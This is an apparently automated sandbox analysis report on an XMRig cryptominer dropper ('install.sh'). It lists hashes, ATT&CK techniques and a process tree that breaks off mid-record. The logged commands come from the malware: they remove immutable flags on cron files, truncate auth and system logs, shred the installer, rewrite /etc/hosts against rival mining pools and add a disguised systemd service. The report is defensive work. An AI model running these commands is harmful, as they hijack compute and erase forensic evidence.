xmrig | a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc

Analysis

max time kernel
25s
max time network
111s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.sh
Size 71KB
Sample260809-pg1hdaxemc
SHA256 a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc
MD5 dd2d6fcbad96eeec633ce79c41cba237
SHA1 7a596f7d60c2a09e3697682cc938fd8341001de0
SHA512 7d7b4d70518a54115bf8888bc4f0b413ed13278e8bde299b6544f5a32203d5aec09a2d12e8317063ca0cf54a107efb3907a4d13f133a8270e8daa8fba4d8ebe9
SSDEEP 768:6OYwcTtmv50fiqfQO96/wtgizPjUcDVcv4z/Ntrw1iqWgAVyUPVGTbf:9Yu0f3YgDVcv4pqbf
TLSH
T1B463A6B2B560C1703969C16C678B41503A49703B356C382874AFB52CBFDC758A1FABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-11.dat	family_xmrig
behavioral2/files/fstream-11.dat	xmrig

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
997	chmod
998	chmod
999	chmod
1000	chmod

Indicator Removal: File Deletion 1 TTPs 1 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

File Deletion

T1070.004

pid	Process
1172	shred

Deletes system logs 1 TTPs 2 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/messages	install.sh
File truncated	/var/log/syslog	install.sh

Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	install.sh
File opened for modification	/etc/hosts	cp

Deletes log files 1 TTPs 5 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/kern.log	install.sh
File truncated	/var/log/wtmp	install.sh
File truncated	/var/log/btmp	install.sh
File truncated	/var/log/lastlog	install.sh
File truncated	/var/log/auth.log	install.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/ssl-compat.service	install.sh

Removes the immutable protection flag from a file 1 TTPs 9 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
949	apt-get
672	chattr
674	chattr
678	chattr
948	timeout
949	apt-get
949	apt-get
949	apt-get
677	chattr

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 48 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/284/status	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/6/cmdline	pgrep
File opened for reading	/proc/586/cmdline	pgrep
File opened for reading	/proc/567/cmdline	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/786/cmdline	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/148/status	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/292/cmdline	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/185/cmdline	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/108/cmdline	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/298/cmdline	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/315/status	pgrep
File opened for reading	/proc/10/cmdline	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/829/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/284/cmdline	pgrep
File opened for reading	/proc/42/status	pgrep
File opened for reading	/proc/328/status	pgrep
File opened for reading	/proc/645/status	pgrep
File opened for reading	/proc/634/cmdline	pgrep
File opened for reading	/proc/636/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/169/cmdline	pgrep
File opened for reading	/proc/324/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/298/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/315/status	pgrep
File opened for reading	/proc/324/cmdline	pgrep
File opened for reading	/proc/645/cmdline	pgrep
File opened for reading	/proc/292/cmdline	pgrep
File opened for reading	/proc/633/status	pgrep
File opened for reading	/proc/642/status	pgrep
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/641/status	pgrep

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.8q7JYx	apt-cache
File opened for modification	/tmp/fileutl.message.m4TCzG	apt-cache
File opened for modification	/tmp/fileutl.message.wd8wBC	apt-cache
File opened for modification	/tmp/fileutl.message.Yjn0M8	apt-cache
File opened for modification	/tmp/fileutl.message.4jMc8D	apt-get
File opened for modification	/tmp/fileutl.message.nqMiDS	apt-get
File opened for modification	/tmp/fileutl.message.67Gnaq	apt-cache
File opened for modification	/tmp/fileutl.message.2lcOhN	apt-cache
File opened for modification	/tmp/fileutl.message.jrAVXn	apt-get
File opened for modification	/tmp/sh-thd.UIZtlC	install.sh
File opened for modification	/tmp/install.sh	shred
File opened for modification	/tmp/.crn.645	install.sh
File opened for modification	/tmp/fileutl.message.kFr6QX	apt-cache
File opened for modification	/tmp/fileutl.message.KebczN	apt-cache
File opened for modification	/tmp/fileutl.message.SeuDLa	apt-get
File opened for modification	/tmp/.dcrn.645	install.sh
File opened for modification	/tmp/sh-thd.miHwa6	install.sh

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
949	apt-get

/tmp/install.sh
/tmp/install.sh
1⤵
- Deletes system logs
- Modifies the /etc/hosts DNS resolution file
- Deletes log files
- Modifies systemd
- Writes file to tmp directory
PID:645
- /usr/bin/dirname
  dirname /tmp/install.sh
  2⤵
  PID:654
- /usr/bin/basename
  basename /tmp/install.sh
  2⤵
  PID:657
- /usr/bin/id
  id -u
  2⤵
  PID:662
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:672
- /usr/bin/chattr
  chattr -R -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:674
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:677
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:678
- /usr/bin/pgrep
  pgrep -f /dev/shm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:681
- /usr/bin/pgrep
  pgrep -f /dev/shm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:683
- /usr/bin/pgrep
  pgrep -f /dev/shm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:686
- /usr/bin/pgrep
  pgrep -f /dev/shm/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:688
- /usr/bin/pgrep
  pgrep -f /dev/shm/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:690
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:692
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/cron
  2⤵
  - Reads CPU attributes
  PID:694
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:696
- /usr/bin/pgrep
  pgrep -f /etc/javaa
  2⤵
  - Reads CPU attributes
  PID:698
- /usr/bin/pgrep
  pgrep -f /etc/cron
  2⤵
  - Reads CPU attributes
  PID:700
- /usr/bin/pgrep
  pgrep -f /etc/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:702
- /usr/bin/pgrep
  pgrep -f /etc/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:704
- /usr/bin/pgrep
  pgrep -f /etc/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:706
- /usr/bin/pgrep
  pgrep -f /tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:708
- /usr/bin/pgrep
  pgrep -f /tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:710
- /usr/bin/pgrep
  pgrep -f /tmp/kworker
  2⤵
  - Reads CPU attributes
  PID:712
- /usr/bin/pgrep
  pgrep -f /tmp/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:714
- /usr/bin/pgrep
  pgrep -f /tmp/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:716
- /usr/bin/pgrep
  pgrep -f /var/tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:720
- /usr/bin/pgrep
  pgrep -f /var/tmp/cron
  2⤵
  - Reads CPU attributes
  PID:724
- /usr/bin/pgrep
  pgrep -f /var/tmp/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:729
- /usr/bin/pgrep
  pgrep -f /app/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:734
- /usr/bin/pgrep
  pgrep -f /app/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:738
- /usr/bin/pgrep
  pgrep -f /app/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:743
- /usr/bin/pgrep
  pgrep -f /app/gitea/javaa
  2⤵
  - Reads CPU attributes
  PID:748
- /usr/bin/pgrep
  pgrep -f /app/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:752
- /usr/bin/pgrep
  pgrep -f /app/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /usr/bin/pgrep
  pgrep -f /app/gitea/idle
  2⤵
  - Reads CPU attributes
  PID:762
- /usr/bin/pgrep
  pgrep -f /app/gitea/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:767
- /usr/bin/pgrep
  pgrep -f /data/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:773
- /usr/bin/pgrep
  pgrep -f /data/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:781
- /usr/bin/pgrep
  pgrep -f /data/gitea/kworker
  2⤵
  - Reads CPU attributes
  PID:787
- /usr/bin/pgrep
  pgrep -x javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:790
- /usr/bin/pgrep
  pgrep -x javab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:793
- /usr/bin/pgrep
  pgrep -f "\\./XX[A-Za-z]"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:795
- /usr/bin/pgrep
  pgrep -f esocket4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:797
- /usr/bin/pgrep
  pgrep -f /tmp/bobs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /usr/bin/pgrep
  pgrep -f "[a-z]+-[0-9a-f]{8}"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:801
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_sys_health"
  2⤵
  - Reads CPU attributes
  PID:803
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_cron_health"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:805
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:807
- /usr/bin/pgrep
  pgrep -f -- "\\.\\/lol"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:809
- /usr/bin/pgrep
  pgrep -f -- --donate-level
  2⤵
  - Reads CPU attributes
  PID:811
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:813
- /usr/bin/pgrep
  pgrep -x lol
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:815
- /bin/rm
  rm -f /etc/cron.d/javaa
  2⤵
  PID:816
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:817
- /bin/grep
  grep -qiE "kworker|javaa|ksmd|javab" /tmp/.crn.645
  2⤵
  PID:818
- /bin/rm
  rm -f /tmp/.crn.645
  2⤵
  PID:819
- /usr/bin/id
  id -u
  2⤵
  PID:820
- /bin/grep
  grep -qF 34.70.205.211 /etc/hosts
  2⤵
  PID:821
- /bin/grep
  grep -qF 69.30.251.156 /etc/hosts
  2⤵
  PID:822
- /bin/grep
  grep -qF kworker.eth.limo /etc/hosts
  2⤵
  PID:823
- /bin/grep
  grep -qF kworker.eth.link /etc/hosts
  2⤵
  PID:824
- /bin/grep
  grep -qF 216.98.10.60 /etc/hosts
  2⤵
  PID:827
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:829
- /usr/bin/pgrep
  pgrep -f ccminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:835
- /usr/bin/pgrep
  pgrep -f SRBMiner-MULTI
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:839
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:842
- /bin/grep
  grep -qF universal-mine-watchdog /tmp/.dcrn.645
  2⤵
  PID:845
- /bin/rm
  rm -f /tmp/.dcrn.645
  2⤵
  PID:846
- /usr/bin/id
  id -u
  2⤵
  PID:848
- /bin/grep
  grep -qF gulf.moneroocean.stream /etc/hosts
  2⤵
  PID:850
- /bin/grep
  grep -qF verushash.eu.mine.zpool.ca /etc/hosts
  2⤵
  PID:852
- /usr/bin/id
  id -u
  2⤵
  PID:854
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:856
- /bin/grep
  grep -qE "^....i"
  2⤵
  PID:859
- /usr/bin/lsattr
  lsattr /etc/hosts
  2⤵
  PID:858
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:863
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:865
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:868
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:871
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:874
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:877
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:880
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:883
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:886
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:889
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:891
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:895
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:897
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:899
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:901
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:903
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:905
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:907
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:909
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:911
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:913
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:915
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:917
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:919
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:921
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:923
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:925
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:927
- /bin/cat
  cat
  2⤵
  PID:928
- /usr/bin/stat
  stat -c "%a" /etc/hosts
  2⤵
  PID:930
- /bin/cp
  cp /etc/hosts.xmon.645 /etc/hosts
  2⤵
  - Modifies the /etc/hosts DNS resolution file
  PID:931
- /bin/chmod
  chmod 644 /etc/hosts
  2⤵
  PID:932
- /bin/rm
  rm -f /etc/hosts.xmon.645
  2⤵
  PID:933
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:934
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:935
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:936
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:936
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:936
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:936
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:936
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:936
- /usr/bin/id
  id -u
  2⤵
  PID:938
- /usr/bin/id
  id -u
  2⤵
  PID:939
- /sbin/modprobe
  modprobe msr
  2⤵
  PID:940
- /usr/bin/apt-cache
  apt-cache show libbpf1
  2⤵
  - Writes file to tmp directory
  PID:941
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:942
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:944
- /usr/bin/apt-cache
